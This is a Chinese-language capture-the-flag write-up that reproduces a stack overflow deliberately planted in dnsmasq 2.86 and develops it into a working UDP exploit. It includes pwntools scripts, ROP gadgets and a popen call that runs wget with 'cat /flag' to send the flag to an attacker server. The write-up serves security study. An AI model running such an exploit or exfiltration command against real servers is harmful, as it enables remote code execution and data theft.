ACTF 2022 Pwn Master of DNS

比赛时,雅儒为Redbud拿下本题一血,我为赛后复现。题目为DNS服务器软件dnsmasq 2.86,漏洞为人工埋入的域名字段栈溢出。由于交互接口为真实网络程序的socket,因此如何将flag带出成为本题的重点。这里我使用ROP,并结合栈溢出崩溃现场残留的寄存器信息,完成了任意命令的popen调用,最终使用wget将flag带出。

image

确认软件

题目是个DNS服务器:

需要使用libc 2.28以上才能正常启动本题,虽然题目把具体的dns软件名隐去了,但通过2.86的版本号还是能很明显的看出来,软件为dnsmasq-2.86.tar.gz

  ./dns --help
Usage: dns [options]

  ./dns -v    
Dns version 2.86

对于给出真实软件的CTF题目,漏洞可能是真实存在的1day或者0day,也有可能是出题人埋进去的一个漏洞。对于dnsmasq,能找到一些堆溢出引发的DoS,以及对较老的2.78版本(2017年)的RCE,但是没有找到新版本可RCE的漏洞或者披露文章,所以看起来埋洞的可能性更大。

漏洞挖掘

首先进行基本检查,x86,无符号,没canary,可以猜测大概率是栈溢出:

  file ./dns
./dns: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), stripped
  checksec ./dns
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

虽然给出的二进制无符号,但其也是一款开源软件,因此基本不需要逆向。对于本题,一款有源码的dns软件,我们有四种角度,或者说手段,来处理他,认识他:

  1. 源码
  2. 二进制
  3. gdb调试
  4. 流量调试

二进制比对

猜测是埋洞,又知道此开源软件的具体版本号,所以可以自己编译一个对应版本然后进行二进制比对。之前虽然使用过bindiff:思科路由器 RV110W CVE-2020-3331 漏洞复现,但之前是diff一个厂商的升级前后的二进制,没有自己编译的机会。如果是自行编译,有以下两点需要注意:

  • 编译器版本
  • 编译选项

首先不同的编译器,或者相同编译器的不同版本,其编译的行为可能不同,这将会为二进制比对造成麻烦,因此我们需要尽量使用与目标完全一致的编译器。通过题目二进制中的字符串信息可以看出来题目是使用了ubuntu20.04的gcc 9.4.0,经过确认这就是ubuntu20.04下默认apt安装的gcc:

  strings ./dns | grep GCC
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
  gcc --version
gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0

然后是编译选项,需要根据目标属性,做到与目标尽量一致,所以对软件的makefile进行如下修改,主要是四个属性:

开始没注意到要关pie和canary,多亏雅儒提醒

  • -m32 : 生成32为代码
  • -fno-stack-protector : 关canary
  • -no-pie : 关PIE
  • 删掉-O2,关闭编译优化
CFLAGS        = -m32 -fno-stack-protector -Wall -W 
LDFLAGS       = -m32 -no-pie 

然后编译即可,编译出的二进制默认生成在软件源码中的src目录下:

  make
  file ./src/dnsmasq 
./src/dnsmasq: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), not stripped

然后即可使用bindiff进行二进制比对,可以发现,相似度不为100%的只有以下10个函数,那可以挨个的看过去:

image

最终锁定extract_name函数,在题目二进制中为sub_0804F345函数,很明显题目多了个memcpy:

image

这个memcpy还是往栈上拷贝,结合题目没有canary,那必然是这个点的栈溢出无疑了:

image

可以参考源码发现,这个memcpy的src为extract_name函数name参数:

dnsmasq-2.86/src/rfc1035.c

int extract_name(struct dns_header *header, size_t plen, unsigned char **pp, 
		 char *name, int isExtract, int extrabytes)

那这个参数究竟是不是我们查询的域名呢?除了阅读源码进行分析,我们可以通过调试更迅速的确认。

gdb调试

找到调用此memcpy的代码地址:

.text:0804F435                 push    [ebp+n]         ; n
.text:0804F438                 push    [ebp+src]       ; src
.text:0804F43B                 lea     eax, [ebp+dest]
.text:0804F441                 push    eax             ; dest
.text:0804F442                 mov     ebx, edx
.text:0804F444                 call    _memcpy

题目dns服务的启动方法运行在后台(通过-d参数可以直接启动在前台),我们尽量与题目保持一致:

  ./dns -C ./dns.conf 
  ps -ef | grep dns
xuanxuan    6363    1914  0 08:06 ?        00:00:00 ./dns -C ./dns.conf

但不知道为什么明明是个普通用户的进程gdb却挂不上,只能使用root用户的gdb附加到此进程上,所以要把root用户的gdb插件安装好,然后正常把断点打在疑似漏洞的memcpy上:

  gdb --pid 6363  
ptrace: Operation not permitted.
  sudo gdb --pid 6363
pwndbg> b * 0x804F444
Breakpoint 1 at 0x804f444
pwndbg> c

发起一个正常的dns查询:

  dig @127.0.0.1 -p 9999 baidu.com

即可断下,确认拷贝的字段还真是域名:

Breakpoint 1, 0x0804f444 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────[ DISASM ]───────────────────────────────────
  0x804f444    call   memcpy@plt                     <memcpy@plt>
        dest: 0xffbfc2f7 ◂— 0x9bea000
        src: 0x9f075b0 ◂— 'baidu.com'
        n: 0xa

尝试发送较长域名发现,dig直接会提示过长无法发送,要求域名中每个段标签(两个点之间的字符串)长度不能超过63个字节,这其实是在rfc1035中规定的:

  dig @127.0.0.1 -p 9999 baidu.comaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

dig: 'baidu.comaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 
is not a legal IDNA2008 name (domain label longer than 63 characters), use +noidnin

流量调试

既然用工具不是灵活,那就看看dns请求数据包的格式到底是什么样把!

  dig @127.0.0.1 -p 9999 baidu.com

wireshark抓一个下来:

image

DNS中必选数据如下:

0000   cd 36 01 20 00 01 00 00 00 00 00 01 05 62 61 69
0010   64 75 03 63 6f 6d 00 00 01 00 01
  • 前面一个头:cd 36 01 20 00 01 00 00 00 00 00 01,前两个字节的Transaction ID(cd 36)可以随意
  • 后面一个尾:00 01 00 01
  • Additional records:经过测试可以删掉
  • 主要是域名字段:会把baidu.com其中的点拆成长度:\x05 baidu \x03 com \x00

所以看起来除了域名每个label的长度需要控制为63(0x3f)字节以外(服务端dnsmasq会检查),没有其他需要重新计算的字段(长度,校验码等),因此手工构造也没有太多麻烦。虽然可以用scapy,但是更喜欢彻底控制每一个字节,因此使用pwntools手工构造,结合在sub_0804F345函数中会判断name总长度不能大于0x400,域名的每一段label的长度为0x40(0x3f+0x1),因此在一个域名中,总共可以构造0x10段长度为0x3f的label,在整个域名的后面有一个00空字节不要忘了加。根据IDA,拷贝目标的栈变量dest离栈底只有0x381字节,所以妥妥栈溢出:

from pwn import *

io = remote("127.0.0.1",9999,typ='udp')

head    = bytes.fromhex("000001200001000000000001")
payload = (b'\x3f'+b'a'*0x3f)*16 + b'\x00'
end     = bytes.fromhex("00010001")

io.send(head + payload + end)

果然溢出,而且可以看到,发送的每段label前的长度,比如这里的0x3f最终在memcpy已经被转换成了点(0x2e):

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────── ───────[ REGISTERS ]───────────────────────────
*EBX  0x612e6161 ('aa.a')
*ECX  0xffb99b00 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
*EDX  0xffb997a7 ◂— 0x61616161 ('aaaa')
 EDI  0xf7f35000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0x940a9c0 ◂— 0x2910
*EBP  0x61616161 ('aaaa')
*ESP  0xffb99b30 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
*EIP  0x61616161 ('aaaa')
───────────────────────[ DISASM ]────────────────────────────
Invalid address 0x61616161

溢出长度

经过测试,溢出长度以最终memcpy时的数据视角为0x385,以payload视角为0x386(由于长度字段会被处理成点):

这里在14段满长0x3f的段后跟了一个长度为4的小段,是为了让之后ROP链从一个新的label开头开始,切分整齐,方便处理

from pwn import *

io = remote("127.0.0.1",9999,typ='udp')

payload  = (b'\x3f'+b'a'*0x3f)*14 
payload +=  b'\x04'+b'a'*4
payload +=  b'\x04'+p32(0xdeadbeef)
payload +=  b'\x00'

head    = bytes.fromhex("000001200001000000000001")
end     = bytes.fromhex("00010001")

io.send(head + payload + end)

成功劫持eip为0xdeadbeef:

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*EAX  0x61616161 ('aaaa')
*EBX  0x612e6161 ('aa.a')
*ECX  0xffb38e40 ◂— 0x61616161 ('aaaa')
*EDX  0xffb38b47 ◂— 0x61616161 ('aaaa')
 EDI  0xf7f41000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0x89939c0 ◂— 0x2910
*EBP  0x2e616161 ('aaa.')
*ESP  0xffb38ed0 —▸ 0x8994000 —▸ 0x8993fc0 —▸ 0x8993fe0 ◂— 'misses.bind'
*EIP  0xdeadbeef
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0xdeadbeef

以memcpy时的数据视角,溢出长度确实为0x385:

pwndbg> x /20wx 0xffb38b47-0x10
0xffb38b37:	0x00038a08	0x04f35800	0x00000008	0x00000000
0xffb38b47:	0x61616161	0x61616161	0x61616161	0x61616161
0xffb38b57:	0x61616161	0x61616161	0x61616161	0x61616161
0xffb38b67:	0x61616161	0x61616161	0x61616161	0x61616161
0xffb38b77:	0x61616161	0x61616161	0x61616161	0x2e616161
pwndbg> x /20wx $esp - 0x10
0xffb38ec0:	0x61616161	0x612e6161	0x2e616161	0xdeadbeef
0xffb38ed0:	0x08994000	0x0000039b	0xffb38efc	0x089935b0
0xffb38ee0:	0x00000001	0x00000004	0xffb39038	0x080516ed
0xffb38ef0:	0x00000000	0x00000000	0xffb38f00	0x08994437
0xffb38f00:	0x00000004	0x080a5d98	0xffb39038	0x08065c04
pwndbg> p /x (0xffb38ecc - 0xffb38b47)
$1 = 0x385

漏洞利用

载荷限制

根据溢出点限制以及构造数据包的要求,在漏洞利用时需要注意payload的限制:

  • 溢出长度有限:0x400 - 0x385 = 123
  • 按照0x3f为一段,溢出长度只有不到两段
  • 两段之间最后在memcpy时,必然会以0x2e进行分割,需要考虑如何处理
  • 经过测试,整个域名数据中,不能有空字符,否则会被截断

通信信道

然后需要考虑利用方法,对于真实网络服务软件的漏洞利用,不能使用标准输入输出来获取到远程的shell,之前写过:Getshell远程:真·RCE 正连?反连?不连?,因此控制流劫持的目标不能是one_gadget这种东西。本题栈溢出,有NX,所以首先必然是ROP,程序中没有直接的mprotect,也不存在直接泄露libc到udp信道并且可交互的办法,所以应该就是纯靠ROP完成利用。对于真实网络服务,把flag带出来的方法,可以从信道的构建分为两种方法:复用信道和新建信道。

复用信道

即本身建立的信道:把flag拷贝到dns回复相应中并修好正常返回逻辑的栈、直接使用文件描述符向本链接信道写入flag:

但是对于本体比较复杂的DNS软件,用ROP拷贝flag到返回数据中再修栈想想就可能会遇到很多问题,并且在udp的server中,不能直接向fd调用write以写入进行数据外带。因为linux设计的udp server的socket,不使用accept函数将每个客户端连接映射为一个fd,而是所有的udp连接都复用同一个文件描述符。于是在对不同客户端回复消息时,显然不能使用write函数,因为仅用write函数只有三个参数,无法区分客户端。其使用sendto函数,并传递从每次recvfrom接收到的客户端信息的结构体sockaddr,以区分客户端:

#include <stdio.h> 
#include <string.h> 
#include <netinet/in.h> 

int main(){
    char buffer[1024];
    struct sockaddr_in server_addr, client_addr;
    int len = sizeof(client_addr);
    
    memset(&server_addr, 0, sizeof(server_addr));
    memset(&client_addr, 0, sizeof(client_addr));

    server_addr.sin_family      = AF_INET; 
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port        = htons(8080);

    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    bind(sockfd, (const struct sockaddr *)&server_addr, sizeof(server_addr));
    printf("[+] socket fd : %d\n",sockfd);

    while(1){
        recvfrom(sockfd, (char *)buffer, 1024, MSG_WAITALL, (struct sockaddr *) &client_addr, &len);

        printf("[+] recv socket fd : %d\n",sockfd);
        printf("[+] recv client addr : %x\n",client_addr.sin_addr.s_addr);
        printf("[+] recv client port : %x\n",client_addr.sin_port);

        sendto(sockfd, "Hello", 5, MSG_CONFIRM, (const struct sockaddr *) &client_addr, len);
    }
}

可以使用nc连接本地的udp 8080进行测试,的确所有的连接都是同一个fd:

   ./test              
[+] socket fd : 3
[+] recv socket fd : 3
[+] recv client addr : 10b0b0a
[+] recv client port : 8df5
[+] recv socket fd : 3
[+] recv client addr : 100007f
[+] recv client port : dfa9

所以如果使用此法,还需要用ROP调用sendto,并且还需要知道,或者在内存中寻找到我们连出去的客户端地址信息,并且布置好结构体以调用sendto,这看起来未免麻烦了些。并且远程的tcp端口,的确没有开启,因此我就没有使用这种方法完成本题。

新建信道

另外就是让目标程序和攻击者新建一个信道:命令执行反弹shell、外带flag等:

但因为不知道远程libc版本,ROP也很难打出mprotect进而执行shellcode以反弹shell。所以在纯ROP的情况下,让目标程序新建信道的简单办法就是执行system、popen等shell命令以反弹shell或者外带flag,这类手段在web中更常见。本题代码中虽然没有system函数,但是有popen函数,这给了我们机会:

.text:08071802                 push    edx             ; modes
.text:08071803                 push    eax             ; command
.text:08071804                 call    _popen

需要注意popen需要两个参数,第二个参数也是个字符串,固定为”r”、”w”等,表示读写:

# include <stdio.h>
int main(){
    popen("touch /tmp/x","r");
}

参数布置

确认使用popen后,我们需要考虑popen的参数怎么布置。x86的函数调用参数放在栈上,如果使用ret系列的gadget,ret调用时栈布局该为如下:

低地址

esp -> - popen plt
       - ret padding
       - p1
       - p2

高地址

因为popen的参数是字符串地址,所以需要确认是否有直接可用的固定地址以保存发送的域名数据,可以发送一个特征串,然后调试:

from pwn import *

io = remote("127.0.0.1",9999,typ='udp')

payload  = (b'\x3f'+b'a'*0x3f)*14 
payload +=  b'\x04'+b'xdns'
payload +=  b'\x04'+p32(0xdeadbeef)
payload +=  b'\x00'

head    = bytes.fromhex("000001200001000000000001")
end     = bytes.fromhex("00010001")

io.send(head + payload + end)

可以发现我们发送的域名数据在发生控制流劫持时,只在堆上和栈上,没有在固定地址的数据段或者bss段上:

pwndbg> search xdns
[heap]          0x8d38930 0x736e6478 ('xdns')
[heap]          0x8d3942d 0x736e6478 ('xdns')
[stack]         0xffd07757 0x736e6478 ('xdns')

由于栈和堆的随机化,我们不能在远程确定其地址,而不确定的地址无法直接通过输入布置为ROP数据。因此我们需要想一个办法,在ROP中可以得到栈或者堆的地址,这时可以利用崩溃现场残存的数据,如栈、寄存器等:

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────
*EAX  0x61616161 ('aaaa')
*EBX  0x782e6161 ('aa.x')
*ECX  0xffe4e540 ◂— 0x61616161 ('aaaa')
*EDX  0xffe4e257 ◂— 0x61616161 ('aaaa')
 EDI  0xf7f8c000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0x8d429c0 ◂— 0x2910
*EBP  0x2e736e64 ('dns.')
*ESP  0xffe4e5e0 —▸ 0x8d43000 —▸ 0x8d42fc0 —▸ 0x8d42fe0 ◂— 'misses.bind'
*EIP  0xdeadbeef
─────────────────────────────────[ DISASM ]──────────────────────────────────
Invalid address 0xdeadbeef

──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000 esp 0xffe4e5e0 —▸ 0x8d43000 —▸ 0x8d42fc0 —▸ 0x8d42fe0 ◂— 'misses.bind'
01:0004     0xffe4e5e4 ◂— 0x39b
02:0008     0xffe4e5e8 —▸ 0xffe4e60c —▸ 0x8d43437 ◂— 0x1000100
03:000c     0xffe4e5ec —▸ 0x8d425b0 ◂— 0x61616161 ('aaaa')
04:0010     0xffe4e5f0 ◂— 0x1
05:0014     0xffe4e5f4 ◂— 0x4
06:0018     0xffe4e5f8 —▸ 0xffe4e748 —▸ 0xffe4e7f8 —▸ 0xffe4e978 ◂— 0x0
07:001c     0xffe4e5fc —▸ 0x80516ed ◂— add    ebx, 0x546ab

利用崩溃现场的栈

可以发现,当发生崩溃时,栈上有指向堆中保存域名的地址,看起来很有可能构造如下ROP:

from pwn import *

io = remote("127.0.0.1",9999,typ='udp')

# 0x08059d44 : pop eax ; ret
# 0x0804ab40 ; popen()

payload  = (b'\x3f'+b'a'*0x3f)*14 
payload +=  b'\x04'+b'a'*4
payload +=  b'\x0c'+p32(0x08059d44)+p32(0x11223344)+p32(0x0804ab40)
payload +=  b'\x00'

head    = bytes.fromhex("000001200001000000000001")
end     = bytes.fromhex("00010001")

io.send(head + payload + end)

即企图将栈地址0xffcf041c,0xffcf0420处的值,作为popen的两个参数。但很可惜,虽然第栈上0xffcf041c作为一个参数可用,但由于popen的第二个参数也是字符串指针,而栈上0xffcf0420的值为0x1,不能作为popen的第二个参数,其解引用时必然崩溃:

──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000 esp 0xffcf040c —▸ 0x8059d44 ◂— pop    eax
01:0004     0xffcf0410 ◂— 0x11223344
02:0008     0xffcf0414 —▸ 0x804ab40 (popen@plt) ◂— endbr32 
03:000c     0xffcf0418 —▸ 0xffcf0400 ◂— 0x61616161 ('aaaa')
04:0010     0xffcf041c —▸ 0x9bfc5b0 ◂— 0x61616161 ('aaaa')
05:0014     0xffcf0420 ◂— 0x1
06:0018     0xffcf0424 ◂— 0x4
07:001c     0xffcf0428 —▸ 0xffcf0578 —▸ 0xffcf0628 —▸ 0xffcf07a8 ◂— 0x0

pwndbg> c

*EDX  0x1
 EDI  0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0x9bfc5b0 ◂— 0x61616161 ('aaaa')
*EBP  0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESP  0xffcf033c —▸ 0x9c034b0 ◂— 0xfbad248c
*EIP  0xf7db4790 (_IO_proc_open+64) ◂— movzx  eax, byte ptr [edx]
─────────────────────────────────[ DISASM ]──────────────────────────────────
  0xf7db4790 <_IO_proc_open+64>      movzx  eax, byte ptr [edx]

如果不想直接使用栈上的数据当参数,还有一种思路是把栈上之前的数据pop到寄存器里之后再倒腾。但这意味着ROP链不能覆盖到需要使用的残留数据,这将会导致pop完残留数据后,ROP链很难继续。即栈溢出的ROP链是要连续的向高地址覆盖在栈上,这与利用栈上的残留数据大概率是冲突的。除非找到比较巧妙的抬栈gadget,pop完残留寄存器后,直接把栈迁移到更低的栈地址,如溢出的padding部分,以继续ROP链。

image

有些类似:Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现绕过空字符的栈迁移,不过这里是由于可控数据在更高的栈地址,所以把栈地址往高了迁:

image

总之,从直接利用栈上的残留数据不是很容易,因此我们需要换个思路…

利用崩溃现场的寄存器

发生崩溃时,除了栈,还可以看到ecx和edx寄存器都指向了我们发送的存在栈上的域名数据,并且经过测试,edx指向的数据正是发送数据的开头部分,这给利用带来了一种可能性:

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────
*EAX  0x61616161 ('aaaa')
*EBX  0x782e6161 ('aa.x')
*ECX  0xffe4e540 ◂— 0x61616161 ('aaaa')
*EDX  0xffe4e257 ◂— 0x61616161 ('aaaa')
 EDI  0xf7f8c000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0x8d429c0 ◂— 0x2910
*EBP  0x2e736e64 ('dns.')
*ESP  0xffe4e5e0 —▸ 0x8d43000 —▸ 0x8d42fc0 —▸ 0x8d42fe0 ◂— 'misses.bind'
*EIP  0xdeadbeef

在题目程序调用popen时,可以直接利用将寄存器压栈的传参的过程,将x86的压栈传参转换为寄存器传参。不过不巧的是,此段gadget使用edx为modes参数,而eax为命令参数:

.text:08071802                 push    edx             ; modes
.text:08071803                 push    eax             ; command
.text:08071804                 call    _popen

但崩溃现场edx指向可控数据,eax却被溢出覆盖,我们可以很容易的控制eax为已知地址,如0x0809C7B2处有字符串”r”,本就为popen的modes参数:

.rodata:0809C7B2 aR_3            db 'r',0  

所以这个调用popen的gadget如果能把push寄存器的顺序调换一下,可能一步就搞定了。不过这个思路仍然可以继续,例如我们可以想办法交换eax与edx,尝试寻找相关gadget,但没有直接ret返回的,不太好用:

  ROPgadget --binary ./dns  | grep  "xchg eax, edx"
0x0804a896 : add al, 0 ; add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x0804a898 : add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x08065781 : inc ebp ; xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b
0x08065780 : mov bh, 0x45 ; xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b
0x0804a895 : sub byte ptr [eax + eax], al ; add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x08096592 : xchg eax, edx ; enter 0, 0 ; mov dword ptr [ebp - 4], edx ; jmp 0x80965d9
0x0804a89a : xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x08065782 : xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b

仍然可以继续想,那能不能使用add eax,edx这种,以完成寄存器数据的传递,的确有可用的:

  ROPgadget --binary ./dns  | grep  "add eax, edx" | grep ret
0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
0x0808787b : add eax, edx ; leave ; ret

所以应该在进行加法之前把eax清掉,但是我们输入的域名数据不能有空字节,因此也就不能通过输入数据直接给eax清零,可以寻找清零的相关gadget。发现异或的没有能用的,但是有直接给eax赋值为0的:

  ROPgadget --binary ./dns  | grep  "xor eax, eax"
0x0808ad7a : xor eax, eax ; neg eax ; adc edx, 0 ; neg edx ; jmp 0x808ad8f
0x0808bc16 : xor eax, eax ; neg eax ; adc edx, 0 ; neg edx ; jmp 0x808bc2b
  dns ROPgadget --binary ./dns  | grep ret |grep  "mov eax, 0"
0x080525db : mov eax, 0 ; pop ebp ; ret

另外还有一个思路,就是通过ROP pop给eax一个大数(有符号下可以理解为负数),然后找个加法gadget给eax清零:

  ROPgadget --binary ./dns  | grep ret | grep -v "ret " | grep  ": add eax, 0x"
0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret
0x08056434 : add eax, 0x1b8 ; add cl, cl ; ret
0x0804b8fa : add eax, 0x28 ; pop ebp ; ret
0x08057749 : add eax, 0x4000ba ; add byte ptr [edi], cl ; mov bh, 0x45 ; retf 0xd009
0x0804b319 : add eax, 0x80a6fe0 ; add ecx, ecx ; ret
0x08082067 : add eax, 0x81fffc92 ; ret
0x0804beae : add eax, 0x83000000 ; les esp, ptr [eax] ; leave ; ret
0x08055093 : add eax, 0xb8 ; add cl, cl ; ret

最后只要再控制edx即可:

  ROPgadget --binary ./dns  --only 'pop|ret'  | grep edx 
0x0807ec72 : pop edx ; ret

至此,类似交换寄存器这条路应该是可以走通了:

  1. 首先把命令放在发送数据的开头,崩溃时edx会指向命令处
  2. 然后在ROP中通过gadget或者加法给eax清零
  3. 之后用 add eax, edx 把edx给eax
  4. 继续使用gadget pop edx,把edx控制为字符r的地址0x809C7B2
  5. 最后调用0x8071802的gagdet完成popen的调用

不过我使用这种方法,在最后调用popen的参数设置看起来是正确的,但是却会调用失败。想了好一会,后来突然发现这个错误我以前犯过:即edx指向的数据开头处(放置命令)的栈地址,是在当前栈地址之上(更低地址)。当进行函数调用时,栈会继续向低地址增长,可能会将我们放置的命令数据覆盖掉,导致popen调用失败。

当年apeng出的题:De1CTF 2020 Web+Pwn mixture,图中栈的方向与gdb打印方向相反。

image

所以解决方案也很简单,把命令数据放在当前栈顶以下(更高地址)的位置即可。在本题中,我们可以溢出的将近两段长度0x3f的数据,所以可以将命令数据接在ROP链之后,并且单独成段,即一段ROP,一段cmd:

payload  +=  b'\x3f'+rop.ljust(0x3f,b'a')
payload  +=  chr(len(cmd)).encode() + cmd

不过如果是这样,我们在进行add eax, edx时,就需要将eax设置为:cmd到数据开头的偏移。如果将ROP长度固定为0x3f,则cmd到数据开头的偏移为:0x385 + 0x40 = 0x3c5,即需要将eax设置为0x3c5,但是0x3c5以四个字节发送,还是会有空字节,所以直接需要使用对eax进行立即数加法的gadget,例如:

0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret

可以将eax提前设置为:0x1000003c5 - 0x11038 = 0xfffef38d,这样进行加法之后,eax即可为0x3c5,并且0xfffef38d中也不存在空字符。

最终exp

完整exp如下,需要把vps服务器地址改一下,另外要注意的是:

  • 注意发送数据中不能有空字节,所以这也本题为32位的根本原因,64位下ROP地址必有空字符,无法利用
  • 另外因为没有使用scapy,导致发送的数据中不能直接存在点(0x2e),因此使用echo -e “\x2e”绕过ip地址必有的点
  • 命令的最大长度为 63 - 5(ROP对齐的padding段)= 58,所以省去了wget的http和端口号
  • 本地popen时echo -e转义点不好使,原因不详,但可以使用注释中的base64打(还是wget本地80)

我觉得最后整个ROP链还挺精彩的,利用了一些崩溃现场残存的数据,还使用了一些加加减减的计算绕过空字符

from pwn import *
context(log_level='debug')

io = remote("59.63.224.108",9999,typ='udp')

vps = b"127.0.0.1"
cmd = b'wget `echo -e "%s"`/`cat /flag`' % (vps.replace(b'.',b'\\x2e'))
# cmd = b"echo d2dldCAxMjcuMC4wLjEvYGNhdCAvZipgCg== | base64 -d | sh"

# 0x08059d44 : pop eax ; ret
# 0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret
# 0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
# 0x0807ec72 : pop edx ; ret

rop  = p32(0x08059d44)      # pop eax ; ret
rop += p32(0xfffef38d)      # 0xfffef38d + 0x11038 = 0x3c5, eax = edx + 0x3c5, eax will point to cmd 
rop += p32(0x08094d60)      # add eax, 0x11038 ; nop ; pop ebp ; ret
rop += p32(0x11223344)      # padding
rop += p32(0x0804b639)      # add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
rop += p32(0x11223344) * 6  # padding
rop += p32(0x0807ec72)      # pop edx ; ret
rop += p32(0x0809C7B2)      # string r
rop += p32(0x08071802)      # push edx(r) ; push eax(cmd) ; call popen

assert(len(rop) < 63)
assert(len(cmd) < 59)

payload   = (b'\x3f'+b'a'*0x3f) * 14
payload  +=  b'\x04'+b'a'*4
payload  +=  b'\x3f'+rop.ljust(0x3f,b'a')
payload  +=  chr(len(cmd)).encode() + cmd
payload  +=  b'\x00'

head = bytes.fromhex("000001200001000000000001")
end  = bytes.fromhex("00010001")
io.send(head+payload+end)

即可在服务器上收到flag:

ubuntu@VM-16-6-ubuntu:~$ sudo nc -l 80
GET /ACTF%7Bd0M@1n_Po1nt3rs_aR3_VuLn3rab1e_1d7a90a63039831c7fcaa53b766d5b2d!!!!!%7D HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

本题flag为:

ACTF{d0M@1n_Po1nt3rs_aR3_VuLn3rab1e_1d7a90a63039831c7fcaa53b766d5b2d!!!!!}